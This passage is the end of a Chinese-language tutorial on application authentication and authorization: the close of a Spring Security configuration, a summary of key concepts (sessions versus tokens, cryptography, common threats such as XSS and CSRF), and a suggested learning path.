        return http.build();
    }
}

总结

认证授权是应用安全的核心基石,需要理解以下关键点:

  1. 认证(Authentication) 确认"你是谁",授权(Authorization) 确定"你能做什么"
  2. 会话管理 有Session和Token两种方式,各有优劣,需根据场景选择
  3. 密码学 是安全的基础,理解哈希、加密、签名的区别和应用场景
  4. 安全威胁 无处不在,需要针对性防护(XSS、CSRF、SQL注入等)
  5. 最佳实践 包括强密码策略、安全的Token管理、完善的日志监控

学习路径建议: 1. 掌握基础概念和原理(本文档) 2. 学习主流协议和标准(OAuth2、JWT、SSO) 3. 实践框架应用(Spring Security) 4. 深入架构设计(微服务安全、分布式会话)

继续学习下一章:认证协议与标准